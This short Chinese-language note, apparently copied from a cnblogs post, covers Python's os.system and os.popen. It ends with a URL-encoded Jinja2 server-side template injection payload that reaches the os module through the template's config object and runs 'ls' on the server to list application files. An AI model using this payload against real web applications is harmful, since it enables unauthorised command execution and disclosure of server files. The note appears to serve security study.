os模块:
os.system
os.system("cat/cmd等...")
os.popen
print os.popen("adb shell ls ../aa.png").read() >>> 输出：aa.png
爆出包含文件
{{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
原文：https://www.cnblogs.com/linkzoom/p/15055011.html